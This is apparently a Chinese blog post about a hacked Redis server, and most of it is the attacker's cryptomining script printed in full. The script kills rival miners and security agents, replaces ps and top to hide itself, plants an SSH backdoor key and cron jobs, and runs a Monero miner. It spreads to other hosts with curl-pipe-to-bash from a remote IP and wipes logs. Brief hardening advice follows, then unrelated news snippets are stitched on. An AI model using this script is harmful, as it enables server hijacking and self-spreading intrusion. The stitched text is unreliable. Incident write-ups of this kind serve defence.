rm -rf /tmp/java rm -rf /tmp/j2.conf rm -rf /tmp/.tmpnewasss rm -rf /tmp/java rm -rf /tmp/go.sh rm -rf /tmp/go2.sh rm -rf /tmp/khugepageds rm -rf /tmp/.censusqqqqqqqqq rm -rf /tmp/.kerberods rm -rf /tmp/kerberods rm -rf /tmp/seasame rm -rf /tmp/touch rm -rf /tmp/.p rm -rf /tmp/runtime2.sh rm -rf /tmp/runtime.sh rm -rf /dev/shm/z3.sh rm -rf /dev/shm/z2.sh rm -rf /dev/shm/.scr rm -rf /dev/shm/.kerberods rm -f /etc/ld.so.preload rm -rf /etc/systemd/system/systemde.service* rm -f /etc/ld.so.preload rm -f /usr/local/lib/libioset.so chattr -i /etc/ld.so.preload rm -f /etc/ld.so.preload systemctl stop moneroocean_miner.service systemctl stop systemde.service rm -f /usr/local/lib/libioset.so rm -rf /tmp/watchdogs rm -rf /etc/cron.d/tomcat rm -rf /etc/rc.d/init.d/watchdogs rm -rf /usr/sbin/watchdogs rm -f /tmp/kthrotlds rm -f /etc/rc.d/init.d/kthrotlds rm -rf /tmp/.sysbabyuuuuu12 rm -rf /tmp/logo9.jpg rm -rf /tmp/miner.sh rm -rf /tmp/nullcrew rm -rf /tmp/proc rm -rf /tmp/2.sh rm /opt/atlassian/confluence/bin/1.sh rm /opt/atlassian/confluence/bin/1.sh.1 rm /opt/atlassian/confluence/bin/1.sh.2 rm /opt/atlassian/confluence/bin/1.sh.3 rm /opt/atlassian/confluence/bin/3.sh rm /opt/atlassian/confluence/bin/3.sh.1 rm /opt/atlassian/confluence/bin/3.sh.2 rm /opt/atlassian/confluence/bin/3.sh.3 rm -rf /var/tmp/f41 rm -rf /var/tmp/2.sh rm -rf /var/tmp/config.json rm -rf /var/tmp/xmrig rm -rf /var/tmp/1.so rm -rf /var/tmp/kworkerds3 rm -rf /var/tmp/kworkerdssx rm -rf /var/tmp/kworkerds rm -rf /var/tmp/wc.conf rm -rf /var/tmp/nadezhda. rm -rf /var/tmp/nadezhda.arm rm -rf /var/tmp/nadezhda.arm.1 rm -rf /var/tmp/nadezhda.arm.2 rm -rf /var/tmp/nadezhda.x86_64 rm -rf /var/tmp/nadezhda.x86_64.1 rm -rf /var/tmp/nadezhda.x86_64.2 rm -rf /var/tmp/sustse3 rm -rf /var/tmp/sustse rm -rf /var/tmp/moneroocean/ rm -rf /var/tmp/devtool rm -rf /var/tmp/devtools rm -rf /var/tmp/play.sh rm -rf /var/tmp/systemctI rm -rf /var/tmp/.java rm -rf /var/tmp/1.sh rm -rf /var/tmp/conf.n rm -r /var/tmp/lib rm -r /var/tmp/.lib rm -rf /opt/systemd-service.sh rm -rf /opt/.systemd-service.sh rm -rf /root/.systemd-service.sh rm -rf /usr/share/[crypto] chattr -R -ia /usr/bin/TeamTNT/* chattr -R -ia /usr/bin/watchdogd* rm -rf /usr/bin/watchdogd* service crypto stop systemctl stop crypto.service systemctl stop watchdogd service watchdogd stop rm -fr /usr/bin/TeamTNT/* chattr -iau /tmp/lok chmod +700 /tmp/lok rm -rf /tmp/lok sleep 1 chattr -i /tmp/kdevtmpfsi echo 1 > /tmp/kdevtmpfsi chattr +i /tmp/kdevtmpfsi sleep 1 chattr -i /usr/lib/systemd/systemd-update-daily echo 1 > /usr/lib/systemd/systemd-update-daily chattr +i /usr/lib/systemd/systemd-update-daily >/tmp/svcupdate >/tmp/svcguard >/etc/svcupdate >/etc/svcguard >/etc/cron.daily/logrotate >/etc/cron.hourly/0anacron >/etc/rc.d/rc.local #yum install -y docker.io || apt-get install docker.io; docker ps | grep "pocosow" | awk "{print $1}" | xargs -I % docker kill % docker ps | grep "gakeaws" | awk "{print $1}" | xargs -I % docker kill % docker ps | grep "azulu" | awk "{print $1}" | xargs -I % docker kill % docker ps | grep "auto" | awk "{print $1}" | xargs -I % docker kill % docker ps | grep "xmr" | awk "{print $1}" | xargs -I % docker kill % docker ps | grep "mine" | awk "{print $1}" | xargs -I % docker kill % docker ps | grep "slowhttp" | awk "{print $1}" | xargs -I % docker kill % docker ps | grep "bash.shell" | awk "{print $1}" | xargs -I % docker kill % docker ps | grep "entrypoint.sh" | awk "{print $1}" | xargs -I % docker kill % docker ps | grep "/var/sbin/bash" | awk "{print $1}" | xargs -I % docker kill % docker images -a | grep "pocosow" | awk "{print $3}" | xargs -I % docker rmi -f % docker images -a | grep "gakeaws" | awk "{print $3}" | xargs -I % docker rmi -f % docker images -a | grep "buster-slim" | awk "{print $3}" | xargs -I % docker rmi -f % docker images -a | grep "hello-" | awk "{print $3}" | xargs -I % docker rmi -f % docker images -a | grep "azulu" | awk "{print $3}" | xargs -I % docker rmi -f % docker images -a | grep "registry" | awk "{print $3}" | xargs -I % docker rmi -f % docker images -a | grep "xmr" | awk "{print $3}" | xargs -I % docker rmi -f % docker images -a | grep "auto" | awk "{print $3}" | xargs -I % docker rmi -f % docker images -a | grep "mine" | awk "{print $3}" | xargs -I % docker rmi -f % docker images -a | grep "monero" | awk "{print $3}" | xargs -I % docker rmi -f % docker images -a | grep "slowhttp" | awk "{print $3}" | xargs -I % docker rmi -f % #echo SELINUX=disabled >/etc/selinux/config service apparmor stop systemctl disable apparmor service aliyun.service stop systemctl disable aliyun.service ps aux | grep -v grep | grep "aegis" | awk "{print $2}" | xargs -I % kill -9 % ps aux | grep -v grep | grep "Yun" | awk "{print $2}" | xargs -I % kill -9 % rm -rf /usr/local/aegis chattr -R -ia /var/spool/cron chattr -ia /etc/crontab chattr -R -ia /etc/cron.d chattr -R -ia /var/spool/cron/crontabs crontab -r rm -rf /var/spool/cron/* rm -rf /etc/cron.d/* rm -rf /var/spool/cron/crontabs rm -rf /etc/crontab } kill_miner_proc kill_sus_proc() { ps axf -o "pid"|while read procid do ls -l /proc/$procid/exe | grep /tmp if [ $? -ne 1 ] then cat /proc/$procid/cmdline| grep -a -E "zzh" if [ $? -ne 0 ] then kill -9 $procid else echo "don"t kill" fi fi done ps axf -o "pid %cpu" | awk "{if($2>=40.0) print $1}" | while read procid do cat /proc/$procid/cmdline| grep -a -E "zzh" if [ $? -ne 0 ] then kill -9 $procid else echo "don"t kill" fi done } kill_sus_proc nameserver(){ grep -q 1.1.1.1 /etc/resolv.conf || chattr -i /etc/resolv.conf 2>/dev/null 1>/dev/null; echo "nameserver 1.1.1.1" >> /etc/resolv.conf; chattr +i /etc/resolv.conf 2>/dev/null 1>/dev/null } nameserver fuckyou(){ $(docker rm $(docker ps | grep -v grep | grep "/root/startup.sh" | awk "{print $1}") -f 2>/dev/null 1>/dev/null) $(docker rm $(docker ps | grep -v grep | grep "widoc26117/xmr" | awk "{print $1}") -f 2>/dev/null 1>/dev/null) $(docker rm $(docker ps | grep -v grep | grep "zbrtgwlxz" | awk "{print $1}") -f 2>/dev/null 1>/dev/null) $(docker rm $(docker ps | grep -v grep | grep "tail -f /dev/null" | awk "{print $1}") -f 2>/dev/null 1>/dev/null) $(docker rm $(docker ps | grep -v grep | grep "/usr/bin/supervisor…" | awk "{print $1}") -f 2>/dev/null 1>/dev/null) $(docker rm $(docker ps | grep -v grep | grep "/app/BitLockerServi…" | awk "{print $1}") -f 2>/dev/null 1>/dev/null) rm -f /tmp/moneroocean/xmrig 2>/dev/null 1>/dev/null pkill -f /tmp/moneroocean/xmrig 2>/dev/null 1>/dev/null rm -fr /tmp/moneroocean/ 2>/dev/null 1>/dev/null killall -9 xmrig 2>/dev/null 1>/dev/null if [ -f /root/.tmp/xmrig ]; then chattr -iR /root/.tmp/ 2>/dev/null 1>/dev/null tmpxmrigfile="/root/.tmp/miner.sh" rm -f $tmpxmrigfile 2>/dev/null 1>/dev/null pkill -f $tmpxmrigfile 2>/dev/null 1>/dev/null kill $(pidof $tmpxmrigfile) 2>/dev/null 1>/dev/null chmod +x $tmpxmrigfile 2>/dev/null 1>/dev/null chattr +i $tmpxmrigfile 2>/dev/null 1>/dev/null pkill -f $tmpxmrigfile 2>/dev/null 1>/dev/null kill $(pidof $tmpxmrigfile) 2>/dev/null 1>/dev/null killall $tmpxmrigfile 2>/dev/null 1>/dev/null chmod -x /root/.tmp/xmrig 2>/dev/null 1>/dev/null rm -f /root/.tmp/xmrig 2>/dev/null 1>/dev/null chattr +i /root/.tmp/xmrig 2>/dev/null 1>/dev/null pkill -f /root/.tmp/xmrig 2>/dev/null 1>/dev/null ps ax| grep xmrig 2>/dev/null 1>/dev/null fi KINSING1=$(ps ax | grep -v grep | grep "/var/tmp/kinsing") if [ ! -z "$KINSING1" ]; then chattr -i /var/tmp/kinsing 2>/dev/null 1>/dev/null chmod -x /var/tmp/kinsing 2>/dev/null 1>/dev/null pkill -f /var/tmp/kinsing 2>/dev/null 1>/dev/null kill $(ps ax | grep -v grep | grep "/var/tmp/kinsing" | awk "{print $1}") 2>/dev/null 1>/dev/null kill $(pidof /var/tmp/kinsing) 2>/dev/null 1>/dev/null echo " " > /var/tmp/kinsing 2>/dev/null 1>/dev/null rm -f /var/tmp/kinsing 2>/dev/null 1>/dev/null echo "fuckyou" > /var/tmp/kinsing chattr +i /var/tmp/kinsing 2>/dev/null 1>/dev/null history -c 2>/dev/null 1>/dev/null fi KINSING2=$(ps ax | grep -v grep | grep "/tmp/kdevtmpfsi") if [ ! -z "$KINSING2" ]; then chattr -i /tmp/kdevtmpfsi 2>/dev/null 1>/dev/null chmod -x /tmp/kdevtmpfsi 2>/dev/null 1>/dev/null pkill -f /tmp/kdevtmpfsi 2>/dev/null 1>/dev/null kill $(ps ax | grep -v grep | grep "/tmp/kdevtmpfsi" | awk "{print $1}") 2>/dev/null 1>/dev/null kill $(pidof /tmp/kdevtmpfsi) 2>/dev/null 1>/dev/null echo " " > /tmp/kdevtmpfsi 2>/dev/null 1>/dev/null rm -f /tmp/kdevtmpfsi 2>/dev/null 1>/dev/null echo "fuckyou" > /tmp/kdevtmpfsi chattr +i /tmp/kdevtmpfsi 2>/dev/null 1>/dev/null history -c 2>/dev/null 1>/dev/null fi } fuckyou downloads() { if [ -f "/usr/bin/curl" ] then echo $1,$2 http_code=`curl -I -m 50 -o /dev/null -s -w %{http_code} $1` if [ "$http_code" -eq "200" ] then curl --connect-timeout 100 --retry 100 $1 > $2 elif [ "$http_code" -eq "405" ] then curl --connect-timeout 100 --retry 100 $1 > $2 else curl --connect-timeout 100 --retry 100 $3 > $2 fi elif [ -f "/usr/bin/cd1" ] then http_code=`cd1 -I -m 50 -o /dev/null -s -w %{http_code} $1` if [ "$http_code" -eq "200" ] then cd1 --connect-timeout 100 --retry 100 $1 > $2 elif [ "$http_code" -eq "405" ] then cd1 --connect-timeout 100 --retry 100 $1 > $2 else cd1 --connect-timeout 100 --retry 100 $3 > $2 fi elif [ -f "/usr/bin/wget" ] then wget --timeout=50 --tries=100 -O $2 $1 if [ $? -ne 0 ] then wget --timeout=100 --tries=100 -O $2 $3 fi elif [ -f "/usr/bin/wd1" ] then wd1 --timeout=100 --tries=100 -O $2 $1 if [ $? -eq 0 ] then wd1 --timeout=100 --tries=100 -O $2 $3 fi fi } unlock_cron() { chattr -R -ia /var/spool/cron chattr -ia /etc/crontab chattr -R -ia /var/spool/cron/crontabs chattr -R -ia /etc/cron.d } lock_cron() { chattr -R +ia /var/spool/cron chattr +ia /etc/crontab chattr -R +ia /var/spool/cron/crontabs chattr -R +ia /etc/cron.d } if [ -f "$rtdir" ] then echo "i am root" mkdir -p /root/.ssh echo "goto 1" >> /etc/zzhs chattr -ia /etc/zzh* chattr -ia /etc/newinit.sh* chattr -ia /root/.ssh/authorized_keys* chattr -R -ia /root/.ssh if [ -f "/bin/ps.original" ] then echo "/bin/ps changed" else mv /bin/ps /bin/ps.original echo "#! /bin/bash">>/bin/ps echo "ps.original $@ | grep -v "zzh|pnscan"">>/bin/ps chmod +x /bin/ps touch -d 20160825 /bin/ps echo "/bin/ps changing" fi if [ -f "/bin/top.original" ] then echo "/bin/top changed" else mv /bin/top /bin/top.original echo "#! /bin/bash">>/bin/top echo "top.original $@ | grep -v "zzh|pnscan"">>/bin/top chmod +x /bin/top touch -d 20160825 /bin/top echo "/bin/top changing" fi if [ -f "/bin/pstree.original" ] then echo "/bin/pstree changed" else mv /bin/pstree /bin/pstree.original echo "#! /bin/bash">>/bin/pstree echo "pstree.original $@ | grep -v "zzh|pnscan"">>/bin/pstree chmod +x /bin/pstree touch -d 20160825 /bin/pstree echo "/bin/pstree changing" fi if [ -f "/bin/chattr" ] then chattrsize=`ls -l /bin/chattr | awk "{ print $5 }"` if [ "$chattrsize" -lt "$chattr_size" ] then yum -y remove e2fsprogs yum -y install e2fsprogs else echo "no need install chattr" fi else yum -y remove e2fsprogs yum -y install e2fsprogs fi unlock_cron rm -f ${crondir} rm -f /etc/cron.d/zzh rm -f /etc/crontab echo "*/30 * * * * sh /etc/newinit.sh >/dev/null 2>&1" >> ${crondir} echo "*/40 * * * * root sh /etc/newinit.sh >/dev/null 2>&1" >> /etc/cron.d/zzh echo "0 1 * * * root sh /etc/newinit.sh >/dev/null 2>&1" >> /etc/crontab echo crontab created lock_cron chmod 700 /root/.ssh/ echo >> /root/.ssh/authorized_keys chmod 600 /root/.ssh/authorized_keys echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC3QgqCevA1UIX9jkWJNzaDHmCFQMCVn6DlhT8Tj1CcBLouOPpuBVqGoZem9UT/sdy563H+e1cQD6LRA9lgyBO8VBOuyjlPf/rdYeXZRv9eFZ4ROGCOX/dvNzV9XdEyPX+znEL4AS45ko0obSqNGbserHPcKtXBjjcf9zWtRvBA4lteyXENWeCST61OhVI0K7bNTUHsQhFC0rgiGFqVv+kIwMVauMxeNd5PjsES4C5P9G8Ynligmdxp7LdOFeb5/V/iO8eceQsxLyXVCe2Jue5gaaOIbKy2j2HPxj6qK2BUqlx+dJdat6HE2HyPWDKD5jPyA5RCSs1zphe7BQjH20cX1nyzbhxNNQncs5BfB0kk2Qcb9IS/ofX9p8zIVKLUHMUNC9mKqPljzxH/3wYnOZrgebS4uwfyad+6SQ1oRfs1vWotXxSz1hBjhRPpUqzA7J865AcSOZBaoRsRKZ1BaGMyJyjIfkecFgeDpmbHzOzCjIXAeh20S2wLYZGdrhgVEr0= uc1" > /root/.ssh/authorized_keys cd1 http://195.242.111.238/cleanfda/call.txt wget -q -O- http://195.242.111.238/cleanfda/call.txt file="/etc/zzh" if [ -f "/etc/zzh" ] then filesize1=`ls -l /etc/zzh | awk "{ print $5 }"` if [ "$filesize1" -ne "$miner_size" ] then pkill -f zzh rm /etc/zzh downloads $miner_url /etc/zzh $miner_url_backup else echo "not need download" fi else downloads $miner_url /etc/zzh $miner_url_backup fi downloads $sh_url /etc/newinit.sh $sh_url_backup chmod 777 /etc/zzh if [ -f "/bin/ps.original" ] then ps.original -fe|grep zzh |grep -v grep else ps -fe|grep zzh |grep -v grep fi if [ $? -ne 0 ] then cd /etc echo "not root runing" sleep 5s ./zzh --log-file=/etc/etc --keepalive --no-color --cpu-priority 5 -o dev.fugglesoft.me:5443 --tls --nicehash --coin monero -o 80.211.206.105:9000 -u 88MjAGcUuFzRM2AaUK1qoj9uTp9VBaFzDDUARzmTZL1XUU3DVVkAtxUUb5sHtFMisnSy5dSLQHfUBVdEVgwuwXm5E7LzQ4z.22 --tls --coin monero -o opn.en2an.top:5443 --tls --nicehash --coin monero --background & else echo "root runing....." fi chmod 777 /etc/zzh chattr +ia /etc/zzh chmod 777 /etc/newinit.sh chattr +ia /etc/newinit.sh chmod 600 /root/.ssh/authorized_keys chattr +ia /root/.ssh/authorized_keys else echo "goto 1" > /tmp/zzhs chattr -ia /tmp/zzh* chattr -ia /tmp/newinit.sh* if [ ! -f "/usr/bin/crontab" ] then unlock_cron echo "*/30 * * * * sh /tmp/newinit.sh >/dev/null 2>&1" >> ${crondir} lock_cron else unlock_cron [[ $cont =~ "newinit.sh" ]] || (crontab -l ; echo "*/30 * * * * sh /tmp/newinit.sh >/dev/null 2>&1") | crontab - lock_cron fi if [ -f "/tmp/zzh" ] then filesize1=`ls -l /tmp/zzh | awk "{ print $5 }"` if [ "$filesize1" -ne "$miner_size" ] then pkill -f zzh rm /tmp/zzh downloads $miner_url /tmp/zzh $miner_url_backup else echo "no need download" fi else downloads $miner_url /tmp/zzh $miner_url_backup fi echo "i am here" downloads $sh_url /tmp/newinit.sh $sh_url_backup ps -fe|grep zzh |grep -v grep if [ $? -ne 0 ] then echo "not tmp runing" cd /tmp chmod 777 zzh sleep 5s ./zzh --log-file=/tmp/tmp --keepalive --no-color --cpu-priority 5 -o dev.fugglesoft.me:5443 --tls --nicehash --coin monero -o 80.211.206.105:9000 -u 88MjAGcUuFzRM2AaUK1qoj9uTp9VBaFzDDUARzmTZL1XUU3DVVkAtxUUb5sHtFMisnSy5dSLQHfUBVdEVgwuwXm5E7LzQ4z.22 --tls --coin monero -o opn.en2an.top:5443 --tls --nicehash --coin monero --background & else echo "tmp runing....." fi chmod 777 /tmp/zzh chattr +i /tmp/zzh chmod 777 /tmp/newinit.sh chattr +i /tmp/newinit.sh fi iptables -F iptables -X iptables -A OUTPUT -p tcp --dport 5555 -j DROP iptables -A OUTPUT -p tcp --dport 7777 -j DROP iptables -A OUTPUT -p tcp --dport 9999 -j DROP iptables -A OUTPUT -p tcp --dport 9999 -j DROP iptables -A OUTPUT -p tcp --dport 10008 -j DROP service iptables reload history -c echo > /var/spool/mail/root echo > /var/log/wtmp echo > /var/log/secure echo > /root/.bash_history chmod 444 /usr/bin/chattr chmod 444 /bin/chattr yum install -y bash 2>/dev/null apt install -y bash 2>/dev/null apt-get install -y bash 2>/dev/null if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then for h in $(grep -oE "b([0-9]{1,3}.){3}[0-9]{1,3}b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h "curl -o- http://195.242.111.238/cleanfda/init.sh | bash >/dev/null 2>&1 &" & done fi if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then for h in $(grep -oE "b([0-9]{1,3}.){3}[0-9]{1,3}b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h "cd1 -o- http://195.242.111.238/cleanfda/init.sh | bash >/dev/null 2>&1 &" & done fi echo "$bbdir" echo "$bbdira" $bbdir -fsSL http://195.242.111.238/cleanfda/is.sh | bash $bbdira -fsSL http://195.242.111.238/cleanfda/is.sh | bash预防问题再次出现redis设置密码
编辑配置文件 vi /opt/myredis/redis.conf
设置密码如下: requirepass heikeshizhenqianredis日志文件配置好
编辑配置文件 vi /opt/myredis/redis.conf
配置日志位置: logfile "/opt/myredis/logs/redis.log"
启动redis: redis-server /opt/myredis/redis.conf安全组开放给指定ip
不要在安全组配置0.0.0.0/0,能确定入方向的ip就一定配置ip,更稳妥的方式是,连同出方向ip也配置好,不能给他们一点机会啊。
关于此次的风险问题算是临时解决了,最后我还是决定把我的服务器还原一遍,因为漏洞攻击的有些配置,临时文件还残留在服务器上。
最后奉劝大家,公网的redis,一定要设置好密码,且是复杂密码。
河北小伙总梦见一棵梨树,27年后来到梦中地点,意外找到亲生父母如果时光倒流能回到27年前,我一定会紧紧拉着你的手不放开1995年12月快年末的时候,四川省绵阳市三台县的街道上熙熙攘攘,街道两旁是各种各样的摊贩。正是赶集的时间点,热闹喧嚣的路上
歌曲专辑梦中家园发布收录11首歌,多位全国知名词曲作家倾力打造1月13日下午,由中共宜宾市江安县委江安县人民政府主办,中共江安县委宣传部等承办的歌起江安舞动神州文旅歌曲专辑梦中家园全国发布会于在江安剧场举办。文旅歌曲专辑梦中家园发布会发布会上
春节不停工各行干劲足南方日报讯(见习记者王一晴记者吴雨伦通讯员孙旭东黄蓉芳范敏玲)生物医药产业的前沿研究反复试验集成电路企业井然有序地完成来自五湖四海的订单春节前夕,广州市黄埔区广州开发区各大产业领域
探访亿纬锂能感受惠州制造业当家战略亿纬锂能总部研发中心落成(资料图)文图羊城晚报全媒体记者林海生通讯员惠仲宣2023年广东省政府工作报告提出,以实体经济为本坚持制造业当家,加快建设制造强省质量强省,更高立起现代化产
RCEP生效实施近一年农业贸易领域表现亮眼中国网讯2022年是中国自由贸易区建设20周年,也是区域全面经济伙伴关系协定(RCEP)正式生效实施的第1年。作为中国对外签署经济体量最大的自由贸易协定,RCEP是中国构建面向全球
瞭望乌海绿色转型发展探路乌海加快传统产业迭代升级新兴产业培育壮大,推动实现产业基础高端化产业链现代化,把基础优势转化为竞争优势和发展优势文中共内蒙古自治区乌海市委书记唐毅作为典型的资源型城市,内蒙古自治区
邬峭峰王老师的笑王智量老师走了,笑着走了。他各个时期的笑颜,在我心中一帧帧浮现。我认识翻译家王智量教授近五十年。从1974年起,我常能见到王智量老师的笑。他的笑,脸部肌肉很用力,嘴角上扬彻底。首肯
散文丨水与泸溪的不解情缘我是一个地地道道的泸溪人,生长在泸溪,工作在泸溪,在我的认知里,泸溪地域最大的特点是水,泸溪文化最鲜明的特色是水,泸溪人最显著的特质也是水。水,泸溪这一特有的文化符号,已经与这片土
ACSEnergyLetters水系铵离子电池终于等来高性能负极一引言水系电池大多采用金属离子作为电荷载体,如LiNaKAl3Zn2Mg2等。在过去的几年中,由于非金属铵离子(NH4)储量丰富水合离子半径小(3。31)和低摩尔质量(18gmol
可控超薄磷酸锌保护层助力锌负极稳定性悉尼大学陈元教授和魏力博士课题组JMCA可控超薄磷酸锌保护层助力锌负极稳定性文章信息超薄磷酸锌保护层用于稳定锌金属电极第一作者李婧通讯作者陈元,魏力,吕伟单位悉尼大学,清华大学深圳
中消协测试46款充电数据线,仅14款安全北京日报客户端记者张楠使用劣质充电数据线,或使用不配套的老旧充电数据线,不仅影响电子产品使用寿命,甚至还存在起火等安全隐患。近期,中消协委托中国信息通信研究院中国泰尔实验室对购自京